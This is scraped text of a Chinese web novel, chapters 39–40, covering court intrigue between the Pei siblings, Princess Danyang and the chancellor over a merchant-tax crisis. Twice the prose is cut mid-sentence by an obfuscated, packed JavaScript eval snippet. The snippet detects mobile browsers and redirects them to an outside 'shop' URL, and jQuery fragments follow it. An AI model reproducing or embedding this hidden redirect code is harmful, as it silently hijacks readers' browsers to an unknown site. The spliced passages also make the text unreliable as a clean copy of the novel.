二人正在谈论之际,就听一阵金鸣之声,来往路人纷纷往两侧避让开来,衣着华贵金光闪闪的羽林卫策马而来,马蹄踏踏行过青石铺就得长街,威风凛凛地驶过大街,一路高声呼喝:“羽林卫巡察,闲人避让。” “如今丞相起来了,御史大夫就下去了,果真是潮起潮落没个定数啊。” 一个本色布袍的士子拈着胡须若有所思道。 “我看未必。” 又一红衣士子撂下茶盏,一本正经地说道,“这朝堂之中谁没受过陛下的斥责,前些年丞相的风头不就是被御史大夫压得死死的吗,提一个被压一个,不仅不得施行,反而逆行其道。这几日便是因着算缗之策总是推行不下去,这才又提了丞相上来。我看啊,算缗之策连御史大夫这般的狠人都搞不定,这个丞相就更不行了。” “未必,这几日带头闹事的不就是丞相的人么,我看啊就是丞相要搞御史大夫,今日裴府车马都没动,御史大夫怕是今日都未上朝去。” 他们你一言我一语地说得正激烈之时,裴明绘静静地把帘子放了下来,吩咐驭手继续往前走,马车便辚辚向南驶去。 就在放下帘子的一瞬间,在茶摊之中一抱剑倚柱的带着斗笠遮面的男人也动了起来,很快隐入忙碌的人群之中。 “此次都打点好了吗?” 裴明绘歪头看向坐在一旁的聂妩。 “都打点好了,礼物也都备齐了,今日丹阳长公主也在府中休息,未曾外出。也未听得有人拜访,今日小姐去,正相宜呢。”聂妩将拍了拍怀中抱着的七寸长八寸宽的小巧朱漆锦盒,盒子四角绘以花鸟虫鱼,中间则是精致华丽的鹿纹,镶嵌着一颗巨大的夜明珠,幽幽地发着光。 裴明绘点了点头,方才又收回了目光,虽然一切都已经准备好了,可是她的心头却还是隐隐不安着。 她倚靠在辎车内壁之上,忧愁地闭上了眼。 聂妩知道裴明绘的忧虑所在,虽说裴瑛惩处了裴明绘,却也有许多时日未曾理会裴明绘。今日裴瑛未曾上朝,裴明绘早早就守在门前,却又被侍卫请了回去。 “庄子曾说过,真者,精诚之至也,不精不诚,不能动人。” 聂妩看出裴明绘的忧虑,扶住裴明绘的肩膀出言,安慰道,“小姐勿要忧心,家主只是生一时之气罢了,等过些日子自然就消气了。” 裴明绘抿紧了唇,点了点头。 如今长安风头顿转,她虽不谙政道,却猜测这很可能与温珩脱不了干系。 长安率先推行告缗之策,长安大商以郭升为首开始反抗,先是隐匿财产,后又借丞相的威反抗诸位御史的稽查,两方甚至激发了冲突,一时之间,长安怨声载道,因着裴瑛是御史大夫之首,便首当其冲受到冲击。 裴明绘虽然不清楚内幕,却也觉得丞相定然在背后推波助澜。 虽然她不明白裴瑛为什么对此反击,但是她觉得自己有必要收拾一下近来嚣张的很的郭升。 关于温珩的事,她一想起来头便疼得要命。 “我虽未见他,却总有预感。”裴明绘轻轻握住聂妩的手,垂下眼帘来,“他就像鬼魂一样,我虽看不见,他却紧紧缠着我。” 她一闭上眼,那夜的场景便如噩梦一般再度涌入脑海。 既然温珩活着,且被裴瑛抓了现行。 那就说明,那夜并非噩梦。 那天晚上,温珩真的来了。 突然之间,一句冰冷的带着戏谑的话瞬间闪电般贯彻她的脑海。 “还是,这个乖妹妹有什么非分之想呢。” 她骤然抬起眼帘,浑身上下瞬间冷了下去,血液似乎也停止了流动。 他为什么说这句话? 他为什么会说这句话! 他为何与她哥哥长得一般模样,又为什么同她如此刻意亲近。 聂妩感到她手是那样的冰凉,急忙便将她的手包住,柔声劝道,“小姐若是担心,不妨同家主说罢。家主到底是小姐的哥哥,会明白小姐的苦心的。” “不……不行。” 裴明绘心跳如鼓,几乎无法安静下来,她无法控制地紧紧抓住聂妩的手,肩头颤抖着。 “温珩此人,太过歹毒。观我哥哥之变化,很难说,温珩没有对他说什么过分的话。但又见哥哥并未真正的疏离我,想必他还未说出真正要紧的话来。” 裴明绘简直不敢想,温珩若与哥哥碰面,到底会说出什么惊天动地的话来。 她的脑海中不可控制地浮现出一个惊人的场景。 裴瑛冷漠地与温珩对峙。 温珩一笑:“裴大人博古通今,竟然不知道,你妹妹喜欢的人,可是你呢。” “如此违背伦常之事,不知裴大人有何想法。” 一想到这样的场景,裴明绘又痛苦地闭上了眼睛。 不管如何,自己都得尽全力避免这种事的发生。 无论为了裴瑛,还是为了自己,自己都需对温珩出手。 不知哥哥为何未能将温珩拿下,但自己定然不能束手以待。 如果实在不能阻止二人的见面,自己也得想好狡辩之词,以来反驳温珩,以裴瑛对自己的偏爱,自然会相信自己,而否定温珩。 总之,无论到了何种境地,她都有话说才是。 左右心的真实想法,除了自己说出来,别人说出来,都无凭证。 都可以被辩驳成假话污蔑之词。 到时候,就算温珩口若莲花说得天花乱坠,她只说是污蔑,并且义愤填膺批判温珩挑拨兄妹感情,如此之言罔顾人伦罪大恶极,当即刻拿下问罪。 马车很快就到了丹阳长公主府之前,驭手轻勒缰绳,骏马嘶鸣站定,聂妩拂开帘子,裴明绘弯腰扶轼而下,一抬眼便是长公主府宏阔的府邸。 这是一座极尽奢华的府邸,无处不透露着皇家的威仪,丹阳长公主是皇帝的姐姐,而如今的谢皇后也是由她送进宫去的,丹阳长公主原有一个丈夫,只是这个丈夫从马上掉下去,不幸摔死了,世人都叫他丹阳君。 十二月里的风依旧带着砭骨的寒意,它们从一切的可能的缝隙里钻进去,而后掠夺温暖。 裴明绘在狐裘里搓了搓手,在府中侍女的引领下,穿过曲折的回廊,走进了长公主府的第三进,一进入第三进的院子,迎面便是华丽奢靡栩栩如生的丹璧影壁,上头镶嵌着一只巨大的朱雀浮雕,朱雀之眼则是一颗硕大的玛瑙,映入天光,射出红芒。 绕过影壁,便到一处六开间的屋子,也是处处雕梁画栋,柱子皆涂以红漆,上头再绘以各色纹样,长公主府的一砖一瓦,一草一木,无不显示着主人的无比尊贵。 裴明绘上了三阶白玉阶,便停在露台上稍事等候,里头的侍女次第通传,而后裴明绘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958112|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人进屋,往里头走,又是一番眼花缭乱,脚上踩得是如云的锦毡,上头绣着各色飞禽走兽,或跑或坐,或跃或停,形形色色各不相同,往前看,便是林林总总各式奇珍异宝,在十二连枝铜灯的照耀下,幽幽地发着晃眼的光,让人不可逼视。 侍女示意聂妩停在外间,便又领着裴明绘绕过蓝田玉的屏风到了里间。 里间虽不比外间华贵逼人,却也将所有华贵内敛起来,一些美丽的花草装饰其间,加上燎炉的暖意,融融好似春天。 一位美艳的贵妇人斜倚在软榻之上,虽然她业已四十余岁了,但却依旧美丽,皮肤依旧那样紧致,一袭纱袍披在身上,正好勾勒出她曼妙的身形,纤细犹如削葱根的手指执着一把绢面扇子,上头绣着一只白色的雀鸟,栩栩如生,失神之时看去,仿佛能够听到它的啁啾声。 贵妇人有一搭没一搭地扇着扇子,轻轻地撩起眼皮,把目光放在了裴明绘身上,红唇勾起一丝笑来,声音慵懒,“来了,你哥哥近来可好?” “回长公主,长兄近日休沐在家,闻妾前来拜谒长公主殿下,便托妾问长公主安呢。” 裴明绘捧着锦盒,笑着走到长公主近前。 听得裴明绘如此说,丹阳长公主的笑意不由更加灿烂了些,在侍女的搀扶之下,她懒懒地从榻上坐了起来,挥退替自己整饬衣物的侍女,笑道,“哦,裴大人可真是有心了。说罢,所来为何。” 眼见丹阳长公主来了几分兴致,裴明绘方才呈上锦盒,轻轻一按盒子上金色旋钮,盒盖一下就打开来,顿时珠光耀目,满堂生辉。 “请长公主过目。” 就算长公主见多识广,也不免为匣中宝所吸引,含笑手下礼物之后,便问道,“你有心了。” “说罢,什么事。” 长公主自然也明白无利不起早的道理,遂直接了当地问道。 “原也没什么大事,只是最近长安不安生,有些人就借此打上了明月坊的主意,妾实在心里不安,特来寻长公主的庇护。” 丹阳长公主闻言,偏过头去,噗嗤一声笑了出来:“这点子小事,你自去寻你哥哥去,哪里还有大费周章来找本公主。” “长公主有所不知。”裴明绘装出一副愁苦的模样,“虽说妾的哥哥位居高位,却也有许多掣肘的地方,况且,最近几日风向不对,哥哥的话,怕也是不顶用了。妾也是实在没了办法,便只能来长公主殿下了。” “毕竟只需长公主一句话,他们就会安分了。” “你倒是个好妹妹,知道心疼哥哥。” 丹阳长公主笑了起来,将绢面团扇按下,一双雍容的凤眸里满是探究之意。 “本公主听说,前几日你哥哥同丞相发生了争执,听说是为了抢一个人,你可知道是谁?” 面对丹阳长公主这番话,裴明绘咽了咽口水,遂谨慎地回答道,“这件事,妾也有听哥哥说起过,应该是温家的小公子。” “温家小公子……”丹阳长公主微微扬起下颌来,露出优雅的脖颈来,“原来是温珩啊,他竟还活着呢。” “能在裴瑛手底下活着,倒也有几分本事。” 裴明绘深谙长公主脾性,见她已然松了口,便乘胜追击:“虽说明月坊是妾自家,只是关涉到西域之行,妾得长公主引荐,才得此机遇让裴家丝绢出国门而入西域。长公主的恩德,妾时刻铭记在心而丝毫不敢有所遗忘。” “但如今有人心思不正,几次为难妾与裴家,甚至明月坊的产业也受到了损害。若是在这般下去,怕是西域之行要遭殃了。” “听哥哥虽未明说,但妾斗胆猜测,正是这个温珩,因着与妾的哥哥结了仇怨,便也连带着将怒气撒在了明月坊上。恐怕上次明月坊失火之火,泰半也是他的手段。” “天下谁人不知,明月坊冠着皇家之名,公主之恩。那温珩就算与妾的哥哥两相斗争,他也该看在长公主的面上,不与明月坊为难才是。” “可见,这温珩胆大包天,藐视天恩。妾斗胆,请长公主的旨意,将温珩拿下问罪,以正皇家威严!” 39. 第 39 章 丹阳长公主闻言,先是垂眸思考了片刻,而后噗嗤一声笑了出来,她幽幽偏过头来:“你的话,很有意思。虽然这个温珩还未曾露过面,但京城里的这些风波,也定是他上蹿下跳整出来的。” “既然如此,我便给你权利。” “可是,能做到哪一步,就看你的本事了。” * 等到裴明绘回到裴府的时候,府上已经上灯了,鳞次栉比的房屋上灯火点点,像是秋季湖畔的星星萤火。 “你先回去罢。” 裴明绘松开了聂妩的手。 “天也黑了。” 聂妩知道裴明绘又要去找裴瑛,便点头退下了。 裴明绘深吸了一口,将心中的情绪都收拾好了,便往裴瑛的院落走去。 行至半路,裴明绘忽然听见一声小姐,遂止住脚步,回头看去,便见一道笔直如竹的身影。 来者乃是长安裴府的府令,名唤苏央,别看他年轻,做事却分外干练,为人老于成事。苏央少年时便跟着裴瑛,与她的父亲明子玉也有很深的交际,他在裴瑛微末之时就跟在裴瑛身边,很受裴瑛倚重,便让他坐了长安裴府的府令,管辖裴府诸多事物。 裴明绘很是敬重苏央,这个陪伴自己哥哥走过最艰难时刻的人,她遂点头致意:“苏大哥。” 苏央见裴明绘依旧满面愁容,便心知她又为着裴瑛不理会她的事而伤心难过:“家主叫小姐去书房找他。” 裴明绘闻言顿时大喜,一时喜形于色,急忙问道:“那哥哥可还生气?” 苏央笑道,“家主怎么真的生小姐的气,小姐到时候只要说几句好话,什么问题解决不了。” 裴明绘激动地点了点头,遂匆匆往书房走去。 等过了月门,裴明绘便看见书房窗户中透出的点点光亮,原本快速奔跑的步子却慢慢地停了下来,改成一步一想,在心中思索该说什么,怎么说才能让哥哥消气。 她走过白石小径,自红梅扶疏间走上台阶,看着近在咫尺的大门,她却又犹豫了。 她的手轻轻自温暖的狐裘里探了出来,扶在一旁的红漆廊柱上,却为其上凝着冬日大寒之气所冻,悻悻地收回了手。 因着还未想好要怎么说,她便只能在此处徘徊着。 她负着手,垂着头,慢慢地走在露台之上,看着冰冷却明亮月光倾泻下来,拂亮自己裙裾之上金银丝线,而后照出自己的影子。 她的影子跟她一样,也徘徊着,犹豫着。 她不知道自己该如何说,又要怎么说。 裴瑛看起来是真的生气了,虽然很多人都说裴瑛不是真的生气。 可为什么呢,为什么都会说他不会真的生她的气呢。 是因为她是他的妹妹吗? 哥哥怎么会生妹妹的气呢? 裴明绘摇了摇头,抿紧了唇。 她不由神思悠荡起来,若是他生气,是为着她与温珩在一处呢。 若是这样,她倒有些高兴。 可这又怎么可能,他只是恨铁不成钢罢了,生气自己不听他的话,总与那些危险的人的缠在一起,再受了家法之后反而知错不改。 许许多多的可能,怕没有一点事她想要的。 她就这么在冷风中徘徊着,鬓发与狐裘柔软的白色绒毛都被风吹得飞扬起来。 她摇了摇头,将这些乱七八糟的心思都筛了出去,又接着苦恼起了接下来该如何说。 裴瑛到底是玲珑的心思,说的话,若是少一分真心便会为其察觉,到时候他定然会更加生气,自己这些日子的努力可就功亏一篑了。 该怎么说呢…… 外头冷风呼呼直吹,寒气凝结在她的浓密的睫羽之上,成了一层晶莹的霜。 她却仍在徘徊着,像是焦躁不安地等待着稽查一般。 可很快,她的影子就被一双皂靴踩住了。 “怎么不进来,是外面风不冷吗。” 往日清润的声音也被风寒浸上了一分冰冷来。 裴明绘慢慢地抬起头,看见了裴瑛那如同雪中青竹的身影,黑发并未簪起,而后披散下来,一双微微上挑的凤眸黑白分明。 “哥哥……” 裴明绘低低地唤了一声。 “进来。”裴瑛先一步转身,裴明绘只好乖乖地跟着裴瑛进屋,顺手将门关好,将屋外的寒风都挡在了外头。 裴瑛一掀袍袖,便又坐回了长案之后,随意地依靠在凭几之上,而后抬起了眼帘,看向裴明绘。 “今日到何处去了。” 裴瑛开宗明义。 裴明绘脑子转得飞快,斟酌着说道,“去丹阳长公主府区拜谒丹阳长公主。” “所为何事。” 她的话音刚落,裴瑛的话便即刻接了上来。 就像是审讯犯人一般,不给犯人丝毫反应的时间。 “为了明月坊西域之行的事,所以才特地去拜谢的。” 裴明绘没有抬头,可落在头顶的裴瑛的目光却有实体一般,叫她的底气消失得无影无踪,说出口的话也愈来愈轻。 “还有呢。” 裴瑛的语调却未曾有任何变化。 “没了。” 裴明绘也意识到自己没了底气,生怕被裴瑛察觉,便壮着胆子大声说了一句。 “真的。” 裴瑛追问。 “真的……” 裴瑛咽了咽口水,中气却很是不足。 “撒谎!” 裴瑛的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972507|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陡然凛冽,他遂重重拍案而起,吓得裴明绘立即利落跪地。 “是,是,哥哥,你别生气,我说……说实话……” 眼见裴瑛又生了气,裴明绘生怕裴瑛真的不理会她,便急忙说道。 “我见哥哥近日困难,知晓是郭升等人带头作乱,子吟便想着帮哥哥的忙。可是子吟未得官职,便想着借长公主的手,好好收拾一下郭升,叫他不敢在这么放肆……” “我不是存心欺骗哥哥的……” 裴瑛闻言,动作瞬间顿住,心中所有怒气如水倾漏,转瞬消失得无影无踪。 多日以来所有的烦闷瞬间一扫而空。 屋外冷风呼啸吹得正紧,带起檐下铁马叮咚响得正欢。 裴明绘依旧低着头,不敢去看裴瑛的脸色。 可就在她缩着脑袋的等着挨训的时候,一只冰冷手却轻轻放在了她的头上。 她慢慢地抬起头来,大大的眼睛晃动着,像是春水的波澜,澄澈的湖面之上倒映着裴瑛的笑容。 恰如江山寥廓,月朗风清。 “好了,你不要再插手这些事了。”裴瑛拉住她的臂膀,将她从地上拉了起来,“这些事,都是为兄的事,与你无干。” “可哥哥……” “你若插手,掌控不好,难免会殃及自身。虽说刘姮在商事之上屡多帮助于你,但这全然是因为着明月坊的金钱利益。但这些金银财货,一旦与庙堂政治上的巨大利益相比,它就变得一文不值,甚至随时都可以舍弃掉。” “此事,太过复杂,牵扯过多,虽有温珩,却又不止只有温珩。只其幕后之人,才是如今长安局面的缔造者。如此人物,焉知精明的刘姮不与他共谋?” 裴明绘越听越心惊,一时之间毛骨悚然。 难道丹阳长公主真的再利用她吗? 还是,丹阳长公主真的与哥哥口中的幕后之人同声相应,故意引导她做那些危险的事,最后倒打一耙,将点燃的火引向她与裴瑛? 有道是,执棋人反为棋子,自以为掌控全局,却又翻覆为棋子,最后成为别人青云路上的垫脚石。 “好了,为兄知道你助我之心,但对为兄来说,你安好才更为重要。”裴瑛看出她的恐惧的不安,便将手放在她的肩头,给与她无声的安慰与底气。 “那……”裴明绘焦急地便要站起来,却又被裴瑛拉住了手,“我得赶紧去阻止……” “你今日所做的事,我都按住了。”裴瑛笑了起来,他漆黑的目光点染着铜灯火苗的温暖色彩,“以后,莫作这些危险事了。” 裴瑛垂眸,握住裴明绘冰凉的手,无声地温暖着她。 他扬起头,视线也抬了起来。 “难道,子吟不相信为兄能赢吗?” 40. 第 40 章 丞相府前一如既往车马如流,不管事峨冠广带的公卿士大夫,还是儒冠儒服的太学学子,无一不是满载而来,恭贺丞相重新得到皇帝陛下的信任,而后三三两两空手而去。 丞相府府令也因此赚得盆满钵满,腰包里鼓鼓囊囊塞满了作为开门礼的金饼,沉甸甸地坠在腰上,他肥胖的面容之上整日堆着笑,看着当是真心的开心。 就在他亲自送走了一位朝中重臣的车马之时,远远便看见一辆华贵的两匹马拉着的辎车从雪雾中驶来,鸾声阵阵,顿时让丞相府府令警觉起来,举手示意各方奴仆都注意。 府令倒也是个眼尖的人物,仔细一看便看看见了辎车之上丹阳长公主府的府徽,登时便如打了鸡血一般激灵起来,急忙招呼派人去通知丞相,并领着一众侍从侍女亲迎过去。 车轮压过残雪,稳稳地停在了丞相府府门前。 “见过长公主殿下!” 侍从侍女分列两队,齐声恭候丹阳长公主驾临丞相府。 随驾在辎车两侧的侍女轻盈地挽起车帷,丹阳长公主刘姮便从车厢里探身而出,便看见如此架势的迎候,唇畔不由勾起一丝满意的笑来,而后方才在侍女的搀扶下,缓步下了辎车。 “长公主殿下,快快请进。” 府令极其谨慎地对待这位尊贵而又高傲的公主,生怕有一处不合礼仪之处惹恼了她而招来祸事。 就在丹阳长公主的绣履刚刚踩在地上的时候,丞相陆珩舟便也匆匆而来,他乐呵呵地迎了过来:“真是稀客啊,殿下怎么来了。” 丹阳长公主笑了起来:“舅舅这般客气,倒叫我不自在呢。” “是我的过失,这礼仪太过周全,却也疏离了情分。来来来,府里去,看这雪下得更重了些。”陆珩舟无比殷勤地邀丹阳长公主进府。 二人一路走过庭院,往正厅而去,正厅里燎炉生得正旺,各种被金银漆器盛托着的青绿植物也尽情得舒展着自己的腰身,逸散着清润的香气。 “殿下近来可好。”陆珩舟亲自扶着丹阳长公主落座,“听说宫中的李夫人新诞下了一位皇子,陛下很是高兴,这可是长公主的功劳啊。” 丹阳长公主朱唇勾起,长眉挑起:“也是李荣儿的本事,本公主也只是做个顺水推舟的人情罢了。若她自己不争气,就算本公主有通天的本事,也是无可奈何的。如今陛下又添子嗣,本公主这个做姐姐也是为他高兴,早在李荣儿临产之际就备好了大礼,只待麟儿降生,便送进宫去。” 倏然之间,丹阳长公主似是想到了什么不愉快的事,原本一团春风的脸色一下子就阴沉下来,涂着朱红色唇勾起不屑的弧度:“这件事上,本公主虽是好意,难保皇后不会吹耳边风,将本公主的这番情谊又混淆了。” “陛下与殿下姐弟情深,殿下的心意,陛下自然明白。”陆珩舟自然知晓丹阳长公主与谢皇后之间的一些龌龊之事,前几年长公主嘱托谢皇后为自己的独子封爵,却被谢皇后婉言拒绝,因此丹阳长公主也就记恨上了谢皇后。 陆珩舟觉得,谢皇后乃是丹阳长公主府的舞女,仰赖长公主的提拔才能至此高位,区区爵位罢了,在如此大的恩情前面,又如何能够推辞呢。 “皇后小性,殿下宽仁慈厚,何必与她计较呢。” “她的儿子当了太子,便以为自此高枕无忧了。”丹阳长公主将手中茶盏重重撂在案几之上,凤眸凝火,长眉扬起:“可陛下的子嗣那么多,又不只她的一个儿子。哼,光温夫人,虞夫人,李夫人,她们的儿子哪个又比太子差。本公主看,皇后也高兴得太早了些!” 陆珩舟忙道,“如今些谢大将军出征漠北,也是攻无不克战无不胜,皇后难免自傲些,对待公主自然不比以前恭谨了。” “她的弟弟是出征漠北的将军,我的弟弟是统领天下的皇帝,她又傲气什么。” 丹阳长公主对谢皇后的不满已然积压许久,送李夫人进宫,便是为了夺走皇帝对谢皇后的宠爱。 “罢了罢了,且说正事。”长公主压下愤懑,饮下一口温热的兰陵茶来舒缓了一下喉咙的酸涩,她于氤氲的热气里抬起眼睫,微笑着看向陆珩舟,“温珩那件事,舅舅打算怎么处理。” “殿下……” 陆珩舟愣了一瞬,而后笑了起来,只这笑里有着几分勉强。 “这温珩的事,我也不大清楚啊。” “舅舅别装傻了,侄女都知道了。” 丹阳长公主站了起来,亲自走到陆珩舟的长案之上,芊芊素手捧起吉金色青铜酒壶来,为他斟上满满一爵酒,金色的酒液堪堪停在酒爵的边沿处。 “年幼时,舅舅不是常跟侄女说,水满则溢月盈则亏的道理么。这福气啊还是别盛在一爵里,分开,才保险,不是吗。” 丹阳长公主看见陆珩舟一脸为难的样子,便又微笑道,“我知道舅舅还是为着以前我帮裴氏的事情恼我,但裴氏终究是外人,我与舅舅才是血脉连接的亲人。” “舅舅是列侯,是丞相,如今又受陛下器重,是解决朝中难题的大功臣,是朝中红的发紫的人物。更何况,舅舅又施以仁政,用礼法道德怀柔世人,这叫什么,这叫德服四海,以德化民,德息兵祸,不费一兵一卒,于无形之中以大德昭明汉室德行,正是陛下所期望的啊。” “如此高深的德行,与裴瑛之严刑酷法便是天壤之别,这朝中何人不服膺舅舅,陛下如何又如何不倚重舅舅呢。” “裴瑛被陛下斥责,一般酷吏御史也跟着下了台,不少人弃暗投明都来,一扫朝中往日阴霾。如今这庙堂里头,就算是谢大将军大司马,也比不了舅舅呢。” 这番阿谀奉承,陆珩舟心里很是受用,可他也清楚丹阳长公主想要分一杯羹的心思,也知道拒绝她的后果,但转念一想,丹阳长公主是皇帝的姐姐,对陛下有着不可小觑的影响,若是拉上丹阳长公主,他在朝中定会多少一份助力,这胜算也就多上一分。 权衡利弊之后,陆珩舟的心思便也通达,笑呵呵地将爵中酒一分为二。 “殿下的意思,我懂了。有了殿下的襄助,我等之事业当是一帆风顺。” 闻言,丹阳长公主遂喜笑颜开,亲切地捧起酒爵来:“有了舅舅的话,侄女的这颗心,也就放在肚子里面了。这爵酒,我便敬舅舅了。” 就在他们各自怀着心思开心的时候,隐藏在风波之后更大的风波已然悄然到来。 关于几日前东市的躁动间接直接裴瑛被皇帝斥责,但是裴瑛不在朝中之后,之后事宜便悉数交由丞相处置,皇帝急切期待着丞相能够解决问题,并屡次催促。 可是丞相开始上交上一些大商的财货之外,之后上交的财货也就越来越少,与当初陆珩舟向皇帝保证的天下大商闻皇帝高德仁义而自行算缗的场景大相径庭。 皇帝的忍耐力随着前线催促粮饷的文书而逐渐减少着,陆珩舟也敏锐地察觉到了皇帝的不悦,焦急地去寻找长安大商,要求他们作好天下的榜样,先行算缗,以济国家之急。 可以郭升为首的长安大商们岂能愿意,原先他们归附陆珩舟,不过就是愿意献上一些资财来保全大多数的财产,可如今陆珩舟却叫他们算自己家财之缗,这不是自己割自己的血肉吗。 裴府依旧安静,除了必要的人事来往,往昔那些殷勤来往的人都销声匿迹,只有雪粒翻飞在府门前,幽幽飘进府门之内。 雪亮的天光透过窗布,透过低垂的纱帐,与柔软的火焰光芒一并照亮裴瑛的俊雅而又分明的眉目,他的身上盖着着白色的毯子,如玉般细腻温柔的手捧着一卷略微陈旧斑驳的古籍,往日深邃幽远的目光流转的是一目了然的闲适。 红泥小火炉,茶香自氤氲。 “哥哥……” 人还未进屋,声音便已先行到了耳边。 裴瑛原本静心看着书,闻声却也放下了书简,抬眸看过去,便见白纱飘飘如雾游移,隐隐绰绰间,裴明绘的身影边已轻盈灵动飘然而至。 “哥哥,你说得果然没错,丞相果然没压住他们,如今他们已经乱起来了。” 裴明绘气喘吁吁,面上出浮现的惊喜之色,秀丽动人的眉毛也有振翅飞扬的风采,她兴致勃勃地说着自己的所见所闻。 “听说,丞相动用了羽林卫强行算缗,大商都拿着往日丞相所说的不动刀兵以德服人的来反抗朝廷核查家产,这次的冲突比以往的几次都要激烈,听说两方都死了人呢。丞相也算是搬起石头砸了自己的脚。” “先喝杯茶暖暖身子。” 裴瑛不慌不忙地用陶杯接上一杯热气腾腾的暖茶,递给裴明绘。 裴明绘从裴瑛手中接过茶盏来,“我又听说丹阳长公主前不久才去了丞相府,与丞相好一番长谈,结果今日丞相府派去拜谒的人就被公主府的府令挡在了外头。” “熙熙攘攘皆为利来,刘姮此番行径,本不足称道。”裴瑛笑了笑,不紧不慢地开口,“科她偏偏身居高位,却左右游移,这种人,终不得长久。” 就算是皇亲贵胄公子王孙,也概莫能外。 * 此次大规模的暴动,彻底惊动了皇帝,当日,皇帝便派了郎中令请了丞相进宫,然后便将丞相下狱,由廷尉沈蓦审理承办。 表面上,皇帝是因为丞相办事不力才将丞相下狱,但是据廷尉沈蓦传过来的消息,却是七年前的丞相偷挪堵塞黄河三百四十四万金的事情为皇帝所知晓。 皇帝大怒,遂不顾皇太后之意,强行将丞相下狱,虽看在皇太后的面上未明着查抄他的府邸,但是丞相府府邸大批不可告人的文书也被廷尉稽查,而后送上了帝案。 因着这批文书,方才与丞相结为同盟的丹阳长公主也受了牵连,几次请见陛下而不得,甚至连长乐宫的宫门都进不去了,终日担惊受怕寝食难安,几日之后便也长卧病榻了。 * 冬天的最后一场雪降临了,冬天已经到了尾声,可对于他们而言,那永无止境的寒冬才刚刚降临。 起先便是一场飘扬的细小的雪花纷纷扬扬落下,落在连绵的裴府屋檐之上。 裴明绘见裴瑛难得休息在家,又因二人诸多不愉快也逐渐消磨尽了,便也日日侍奉在他案前,以叙兄妹相亲相爱之乐。 与他相处的日子里,裴明绘的心却是最安定的时候,没有那些乱七八糟的伤神的事,也不会有那些患得患失的情感,几乎每一次笑都是发自内心的,像是蜂巢里流出的蜜一样甜。 可这样的日子才过了不过七八日,随着外面的动荡一波接着一波来,一波高过一波,裴府的空落已久的车马场也日渐充盈起来。 可来来往往的官袍客人看起来并没有让裴瑛有丝毫的开心,他负手走在后院之中,梅花依旧开得很艳丽,落在他深邃的黑眸里,先是一簇簇盛大的火焰一般。 他在想什么呢,大概是在思索朝中的局势罢。 裴明绘躲在扶疏红梅之后,静静地看着裴瑛。 不知过了多久,他黑色的大氅的绒毛以及他浓密纤长的睫羽之上都落满了晶莹的雪花,像是黑色的松枝上凝结了晶莹剔透的冰凌一般。他吐出的雾气消融了雪粒,点点滴滴地水珠落下,他方才从入神的思索之中回过神来,目光稍稍偏移,便看见了躲在树后看着他的裴明绘,便向她招了招手,裴明绘便也就走了过去。 “哥哥。” 裴明绘乖乖地站在裴瑛身边,仰头看向他。 “子吟。”裴瑛顿了顿,“今日今时之朝局发展为兄虽已然预料到,但是君臣已不同心,今时业已不同往日,为兄觉得,你当先行秘密回河东去,安全方面,为兄自会派遣一应守卫护你周全。” “哥哥,你不走,我也不走。” 裴明绘不明白裴瑛为什么突然让她回河东去,但是长安定然又有一场血雨腥风行将到来了,可是越是这般紧急的时候,她又能只顾自己的安危,而独让哥哥置于险境之中。 虽然,她也不知道自己能做些什么,好像什么都做不了。 可若让她自己一个人走,那是万万不能的。 可就在裴瑛正欲再说什么的时候,府令苏央匆匆而来,打断了裴瑛的话。 此日正午,朗中令捧着皇帝手书而来,一时裴府人马肃穆,纷纷伫立在第一进的庭院之处,在漫天细雪中跪迎皇帝之命。 郎中令李贺文一身甲胄立在庭院正中,他的眉目紧缩着,自此可以瞥见宫禁之中陛下的雷霆之怒了。 “皇帝特命御史大夫裴瑛,长安大商裴明绘入宫觐见。” 裴瑛讶然地直起了身子,他的肩上落了满了晶莹的雪花,皇帝的诏命依旧简明扼要,对于前一条他尚且明白并且在意料之中,掐准了在丞相下狱之后的翌日便会宣召他进宫面见陛下,可是后一条他却蹙起了眉来。 他本就是朝廷官员,皇帝召见理所应当,可裴明绘却并非官身,虽为长安大商兼皇商,却在一众大商中并不出挑,就算曾经捐献家财以济国家之急,陛下也布告天下,尊其德行以风百姓,可是据此业已过了许久了。 而今时局,陛下已然打算对大商开刀,以他对陛下的了解,此时的他当是没有闲情逸致再弘扬什么捐家产献家财共度国家危机的美好品德了。 可是皇命在前,裴瑛也绝无拒绝之理。 裴明绘也很是震惊,但听到这个消息之时,险些直接站起来她却在临了还是沉下气来,安生地跪着,静待裴瑛与郎中令的斡旋。 “臣裴瑛接旨。” 裴瑛收敛外露的情绪,站起来从郎中令书中接过手书,疑声问道。 “敢问郎中令,臣妹并未官身,又无治国理政之才,为何要一同进宫。” “这都是陛下的意思,裴大人也就别多问了。等面见了陛下,一切也都明白了。” 郎中令道。 裴瑛顿时心惊,却也不动声色间继续问道:“陛下近来可好,长安正逢多事之秋,我为臣子不能在朝中尽职,也实在是担忧陛下啊。” 郎中令叹了口气摇了摇头,后沉声道:“裴大人还是速速进宫去罢,陛下的心情很是不好。” 裴瑛顿时了然,等到郎中令离开之后却也依旧没有动身,肩上的雪都积了一层,裴明绘见状,便替他拂去了肩上的雪,仰头看去,就见他长眉紧锁,无声间流动着躁动的戾气。 召裴明绘进宫面圣,怎会是皇帝的意思。 皇帝日理万机决天下要事,怕是连裴明绘是谁都不曾记得,如何会让她进宫面圣。
